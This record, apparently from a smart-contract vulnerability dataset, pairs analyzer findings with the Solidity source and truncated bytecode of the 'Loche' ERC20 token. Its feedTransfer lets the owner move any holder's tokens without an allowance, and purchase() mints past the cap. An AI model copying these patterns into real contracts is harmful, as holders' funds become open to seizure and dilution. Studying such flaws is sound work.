{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,856
0x935875f73b05a07d89d96d8e32682a280d757822
pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // solium-disable linebreak-style /** * @title Loche Token * @dev Capped, Mitable, Burnable, ERC20 Token */ contract Loche is CappedToken, BurnableToken { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public transferFee = 100000000; uint256 public tokensPerEther = 10000000000; mapping( address => bool ) public freezed; event Freeze(address indexed acc ); event Unfreeze(address indexed acc ); event MintResumed(); event TokenPurchase( address indexed purchaser, uint256 value, uint256 amount ); modifier notFreezed() { require(!freezed[msg.sender], "This account is freezed!"); _; } constructor( uint256 _totalSupply, string _name, uint8 _decimals, string _symbol ) CappedToken(_totalSupply.mul(2)) public { balances[msg.sender] = _totalSupply; // Give the creator all initial tokens totalSupply = _totalSupply; // Update total supply name = _name; // Set the name for display purposes symbol = _symbol; // Set the symbol for display purposes decimals = _decimals; // Amount of decimals for display purposes } function freeze(address _acc) public onlyOwner { freezed[_acc] = true; emit Freeze(_acc); } function unfreeze(address _acc) public onlyOwner { require(freezed[_acc], "Account must be freezed!"); delete freezed[_acc]; emit Unfreeze(_acc); } function setTransferFee(uint256 _value) public onlyOwner { transferFee = _value; } function transfer(address _to, uint256 _value) public notFreezed returns (bool) { return super.transfer(_to, _value); } /** * @dev Owner pay gas and get tranfer fee by XRM. * @param _from Address of sender * @param _to Address of receiver * @param _value Amount of XRM to transfer */ function feedTransfer( address _from, address _to, uint256 _value ) public onlyOwner returns(bool) { // Owner가 가스비를 지불하고, XRM을 전송해주면서 수수료를 XRM으로 받는다. require(_value <= balances[msg.sender], "Not enough balance"); require(_to != address(0), "Receiver address cannot be zero"); require(!freezed[_from], "Sender account is freezed!"); require(!freezed[_to], "Receiver account is freezed!"); require(_value > transferFee, "Value must greater than transaction fee"); uint256 transferValue = _value.sub(transferFee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(transferValue); balances[msg.sender] = balances[msg.sender].add(transferFee); emit Transfer(_from, _to, transferValue); emit Transfer(_from, msg.sender, transferFee); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!freezed[_from], "Spender account is freezed!"); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool) { require(!freezed[_spender], "Spender account is freezed!"); return super.approve(_spender, _value); } function purchase() public payable { require(msg.value != 0, "Value must greater than zero"); uint256 weiAmount = msg.value; uint256 tokenAmount = tokensPerEther.mul(weiAmount).div(1 ether); balances[msg.sender] = balances[msg.sender].add(tokenAmount); totalSupply_ = totalSupply_.add(tokenAmount); emit TokenPurchase(msg.sender, msg.value, tokenAmount); emit Transfer(address(0), msg.sender, tokenAmount); } // transfer balance to owner function withdrawEther() public onlyOwner { owner.transfer(address(this).balance); } // resume stopped minting function resumeMint() public onlyOwner returns(bool) { require(mintingFinished, "Minting is running!"); mintingFinished = false; emit MintResumed(); return true; } }
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461017a57806306fdde03146101a9578063095ea7b31461023957806318160ddd1461029e5780631fe7b624146102c957806323b872dd146102f8578063313ce5671461037d578063355274ea146103ae578063406f11f5146103d957806340c10f191461043457806342966c681461049957806345c8b1a6146104c657806364edfbf014610509578063661884631461051357806370a0823114610578578063715018a6146105cf5780637362377b146105e65780637bab59f4146105fd5780637d64bcb4146106825780638d1fdf2f146106b15780638da5cb5b146106f45780638f02bb5b1461074b57806395d89b4114610778578063a9059cbb14610808578063acb2ad6f1461086d578063d73dd62314610898578063dd62ed3e146108fd578063f2fde38b14610974578063f856d605146109b7575b600080fd5b34801561018657600080fd5b5061018f6109e2565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6109f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fe5780820151818401526020810190506101e3565b50505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024557600080fd5b50610284600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a93565b604051808215151515815260200191505060405180910390f35b3480156102aa57600080fd5b506102b3610b69565b6040518082815260200191505060405180910390f35b3480156102d557600080fd5b506102de610b6f565b604051808215151515815260200191505060405180910390f35b34801561030457600080fd5b50610363600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c9f565b604051808215151515815260200191505060405180910390f35b34801561038957600080fd5b50610392610d77565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103ba57600080fd5b506103c3610d8a565b6040518082815260200191505060405180910390f35b3480156103e557600080fd5b5061041a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d90565b604051808215151515815260200191505060405180910390f35b34801561044057600080fd5b5061047f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db0565b604051808215151515815260200191505060405180910390f35b3480156104a557600080fd5b506104c460048036038101908080359060200190929190505050610de9565b005b3480156104d257600080fd5b50610507600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610df6565b005b610511610fa8565b005b34801561051f57600080fd5b5061055e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111c6565b604051808215151515815260200191505060405180910390f35b34801561058457600080fd5b506105b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611458565b6040518082815260200191505060405180910390f35b3480156105db57600080fd5b506105e46114a0565b005b3480156105f257600080fd5b506105fb6115a5565b005b34801561060957600080fd5b50610668600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611683565b604051808215151515815260200191505060405180910390f35b34801561068e57600080fd5b50610697611d0a565b604051808215151515815260200191505060405180910390f35b3480156106bd57600080fd5b506106f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dd2565b005b34801561070057600080fd5b50610709611ecc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561075757600080fd5b5061077660048036038101908080359060200190929190505050611ef2565b005b34801561078457600080fd5b5061078d611f58565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107cd5780820151818401526020810190506107b2565b50505050905090810190601f1680156107fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561081457600080fd5b50610853600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ff6565b604051808215151515815260200191505060405180910390f35b34801561087957600080fd5b506108826120cc565b6040518082815260200191505060405180910390f35b3480156108a457600080fd5b506108e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120d2565b604051808215151515815260200191505060405180910390f35b34801561090957600080fd5b5061095e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122ce565b6040518082815260200191505060405180910390f35b34801561098057600080fd5b506109b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612355565b005b3480156109c357600080fd5b506109cc6123bd565b6040518082815260200191505060405180910390f35b600360149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a8b5780601f10610a6057610100808354040283529160200191610a8b565b820191906000526020600020905b815481529060010190602001808311610a6e57829003601f168201915b505050505081565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5370656e646572206163636f756e7420697320667265657a656421000000000081525060200191505060405180910390fd5b610b6183836123c3565b905092915050565b60085481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bcd57600080fd5b600360149054906101000a900460ff161515610c51576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4d696e74696e672069732072756e6e696e67210000000000000000000000000081525060200191505060405180910390fd5b6000600360146101000a81548160ff0219169083151502179055507f97d1aa06c53d73d8ae67f8b0b3e9774c166804b930db4bc2768590409b1e172660405160405180910390a16001905090565b6000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d63576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5370656e646572206163636f756e7420697320667265657a656421000000000081525060200191505060405180910390fd5b610d6e8484846124b5565b90509392505050565b600760009054906101000a900460ff1681565b60045481565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000600454610dca8360015461287090919063ffffffff16565b11151515610dd757600080fd5b610de1838361288c565b905092915050565b610df33382612a72565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5257600080fd5b600b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610f13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4163636f756e74206d75737420626520667265657a656421000000000000000081525060200191505060405180910390fd5b600b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558073ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a250565b60008060003414151515611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f56616c7565206d7573742067726561746572207468616e207a65726f0000000081525060200191505060405180910390fd5b349150611056670de0b6b3a764000061104884600a54612c2590919063ffffffff16565b612c5d90919063ffffffff16565b90506110a9816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111008160015461287090919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f3483604051808381526020018281526020019250505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831015156112d8576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136c565b6112eb8382612c7390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114fc57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611680573d6000803e3d6000fd5b50565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116e257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611798576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4e6f7420656e6f7567682062616c616e6365000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561183d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526563656976657220616464726573732063616e6e6f74206265207a65726f0081525060200191505060405180910390fd5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f53656e646572206163636f756e7420697320667265657a65642100000000000081525060200191505060405180910390fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156119c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f5265636569766572206163636f756e7420697320667265657a6564210000000081525060200191505060405180910390fd5b60095483111515611a60576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f56616c7565206d7573742067726561746572207468616e207472616e7361637481526020017f696f6e206665650000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611a7560095484612c7390919063ffffffff16565b9050611ac8836000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c7390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b5b816000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bf06009546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040518082815260200191505060405180910390a360019150509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d6857600080fd5b600360149054906101000a900460ff16151515611d8457600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e2e57600080fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a250565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f4e57600080fd5b8060098190555050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611fee5780601f10611fc357610100808354040283529160200191611fee565b820191906000526020600020905b815481529060010190602001808311611fd157829003601f168201915b505050505081565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156120ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f54686973206163636f756e7420697320667265657a656421000000000000000081525060200191505060405180910390fd5b6120c48383612c8c565b905092915050565b60095481565b600061216382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123b157600080fd5b6123ba81612eac565b50565b600a5481565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561250457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561258f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156125cb57600080fd5b61261c826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c7390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126af826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061278082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c7390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000818301905082811015151561288357fe5b80905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffff